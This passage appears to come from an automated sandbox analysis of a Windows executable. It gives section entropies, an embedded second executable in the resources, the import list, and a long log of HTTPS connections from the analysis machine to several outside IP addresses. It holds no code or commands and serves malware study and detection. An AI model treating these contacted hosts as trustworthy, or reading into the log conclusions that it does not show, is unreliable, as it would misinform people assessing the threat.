                                                                                                                                                                                                                                        .rdata0x2b0000x12c0c0x12e004662f035805967d0a672e23920b2dbddFalse0.5150688120860927data5.809408935470456IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        .data0x3e0000x33380xe0099d84572872f2ce8d9bdbc2521e1966eFalse0.1328125Matlab v4 mat-file (little endian) f\324\377\3772\242\337-\231+, text, rows 4294967295, columns 01.8271683819747706IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                        .pdata0x420000x22980x2400a2a3bd363becd437dc0a7e6907c97754False0.4705946180555556data5.327377301155407IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        _RDATA0x450000x15c0x20052ec5387fbc7d960d9158c15aab19421False0.388671875data2.780917990964078IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        .rsrc0x460000xe86c910xe86e0006f387b6d56497455e2886a7c3630554unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        .reloc0xecd0000x75c0x8004138d4447f190c2657ec208ef31be551False0.5458984375data5.240127521097618IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                        Resources

                                                                                                                                                                                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                        RT_ICON0x463680xea8Device independent bitmap graphic, 48 x 96 x 8, image size 00.585820895522388
                                                                                                                                                                                                                                        RT_ICON0x472100x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 00.7360108303249098
                                                                                                                                                                                                                                        RT_ICON0x47ab80x568Device independent bitmap graphic, 16 x 32 x 8, image size 00.755057803468208
                                                                                                                                                                                                                                        RT_ICON0x480200x952cPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9975384937676757
                                                                                                                                                                                                                                        RT_ICON0x5154c0x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 00.3887966804979253
                                                                                                                                                                                                                                        RT_ICON0x53af40x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 00.49530956848030017
                                                                                                                                                                                                                                        RT_ICON0x54b9c0x468Device independent bitmap graphic, 16 x 32 x 32, image size 00.7207446808510638
                                                                                                                                                                                                                                        RT_ICON0x550040x8fbfPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9963042473980271
                                                                                                                                                                                                                                        RT_ICON0x5dfc40x3dfaPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9845581747132233
                                                                                                                                                                                                                                        RT_RCDATA0x61dc00xe6a934PE32+ executable (GUI) x86-64, for MS Windows0.8678836822509766
                                                                                                                                                                                                                                        RT_GROUP_ICON0xecc6f40x14data1.2
                                                                                                                                                                                                                                        RT_GROUP_ICON0xecc7080x14data1.2
                                                                                                                                                                                                                                        RT_GROUP_ICON0xecc71c0x68data0.7019230769230769
                                                                                                                                                                                                                                        RT_MANIFEST0xecc7840x50dXML 1.0 document, ASCII text0.4694508894044857

                                                                                                                                                                                                                                        Imports

                                                                                                                                                                                                                                        DLLImport
                                                                                                                                                                                                                                        USER32.dllCreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
                                                                                                                                                                                                                                        COMCTL32.dll
                                                                                                                                                                                                                                        KERNEL32.dllGetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, IsValidCodePage, GetACP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, CreateSymbolicLinkW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetOEMCP, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetEndOfFile, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
                                                                                                                                                                                                                                        ADVAPI32.dllOpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
                                                                                                                                                                                                                                        GDI32.dllSelectObject, DeleteObject, CreateFontIndirectW

                                                                                                                                                                                                                                        Network Behavior

                                                                                                                                                                                                                                        Network Port Distribution

                                                                                                                                                                                                                                        TCP Packets

                                                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.770232916 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.770267010 CET44349746104.26.13.205192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.770782948 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.771284103 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.771294117 CET44349746104.26.13.205192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.076109886 CET44349746104.26.13.205192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.076854944 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.076869965 CET44349746104.26.13.205192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.077739000 CET44349746104.26.13.205192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.077853918 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.078824043 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.078891993 CET44349746104.26.13.205192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.079027891 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.079035997 CET44349746104.26.13.205192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.119106054 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.538888931 CET44349746104.26.13.205192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.538957119 CET44349746104.26.13.205192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.539048910 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.539752007 CET49746443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.701489925 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.701596022 CET4434974745.112.123.126192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.701786041 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.703835011 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.703876019 CET4434974745.112.123.126192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.079864979 CET4434974745.112.123.126192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.080277920 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.080302000 CET4434974745.112.123.126192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.081250906 CET4434974745.112.123.126192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.081346035 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.081955910 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.082017899 CET4434974745.112.123.126192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.082073927 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.082082033 CET4434974745.112.123.126192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.133625984 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.744282007 CET4434974745.112.123.126192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.744343996 CET4434974745.112.123.126192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.744411945 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.745049953 CET49747443192.168.2.445.112.123.126
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.904774904 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.904831886 CET44349748159.89.102.253192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.904910088 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.905205965 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.905219078 CET44349748159.89.102.253192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.747380972 CET44349748159.89.102.253192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.747832060 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.747859001 CET44349748159.89.102.253192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.748758078 CET44349748159.89.102.253192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.748847008 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.749576092 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.749639034 CET44349748159.89.102.253192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.749713898 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.749723911 CET44349748159.89.102.253192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:42.793997049 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.163379908 CET44349748159.89.102.253192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.163448095 CET44349748159.89.102.253192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.163505077 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.164093018 CET49748443192.168.2.4159.89.102.253
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.632191896 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.632235050 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.632303953 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.632698059 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.632715940 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.947455883 CET49752443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.947505951 CET4434975231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.947587967 CET49752443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.963766098 CET49752443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.963781118 CET4434975231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.900402069 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.909889936 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.909919977 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.910938025 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.911006927 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.912064075 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.912144899 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.912221909 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.912239075 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.912267923 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.955349922 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:44.961652040 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.363714933 CET4434975231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.363795996 CET49752443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.366017103 CET49752443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.366029978 CET4434975231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.366276026 CET4434975231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.370117903 CET49752443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.370214939 CET49752443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.370240927 CET4434975231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.402582884 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.402647972 CET44349751162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.402719021 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.403477907 CET49751443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.428296089 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.428332090 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.428406000 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.428699970 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:45.428714991 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.729048014 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.729501963 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.729521990 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.730547905 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.730619907 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.731364012 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.731426954 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.731524944 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.731530905 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.731584072 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.774259090 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:46.774266005 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:47.339714050 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:47.339780092 CET44349753162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:47.339837074 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:47.340538025 CET49753443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:47.623008966 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:47.623054028 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:47.623143911 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:47.623475075 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:47.623488903 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.121527910 CET4434975231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.121583939 CET4434975231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.121629953 CET49752443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.138899088 CET49752443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.138921022 CET4434975231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.424937963 CET49757443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.424982071 CET4434975731.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.425091982 CET49757443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.436321974 CET49757443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.436331987 CET4434975731.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.878231049 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.878639936 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.878668070 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.879667044 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.879728079 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.880575895 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.880645037 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.880697966 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.880705118 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.880731106 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.923345089 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:48.930393934 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.381027937 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.381088972 CET44349754162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.381299019 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.381850958 CET49754443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.404486895 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.404525042 CET44349758162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.404602051 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.404881001 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.404895067 CET44349758162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.875461102 CET4434975731.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.875538111 CET49757443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.877418995 CET49757443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.877437115 CET4434975731.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.877682924 CET4434975731.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.881206036 CET49757443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.881443977 CET49757443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:49.881474018 CET4434975731.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.613708973 CET44349758162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.618402004 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.618427038 CET44349758162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.619294882 CET44349758162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.619354963 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.625979900 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.626036882 CET44349758162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.626091957 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.626137018 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.626142979 CET44349758162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:50.683754921 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.109488964 CET44349758162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.109541893 CET44349758162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.109633923 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.110430002 CET49758443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.133984089 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.134016037 CET44349759162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.134078026 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.134398937 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.134411097 CET44349759162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.787673950 CET4434975731.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.787755013 CET4434975731.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.787899017 CET49757443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.800391912 CET49757443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:51.800415993 CET4434975731.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.099896908 CET49762443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.099997997 CET4434976231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.100131989 CET49762443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.154443979 CET49762443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.154496908 CET4434976231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.390465021 CET44349759162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.390904903 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.390919924 CET44349759162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.391927958 CET44349759162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.392014027 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.392690897 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.392757893 CET44349759162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.392822027 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.392822027 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.392837048 CET44349759162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.446028948 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.898920059 CET44349759162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.898992062 CET44349759162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.899055958 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.899785995 CET49759443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.921188116 CET49764443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.921222925 CET44349764162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.921282053 CET49764443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.921719074 CET49764443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:52.921732903 CET44349764162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.650043011 CET4434976231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.650130987 CET49762443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.664329052 CET49762443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.664369106 CET4434976231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.664613962 CET4434976231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.671241045 CET49762443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.671292067 CET49762443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.671327114 CET4434976231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.962398052 CET49765443192.168.2.4104.26.13.205
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:53.962455988 CET44349765104.26.13.205192.168.2.4
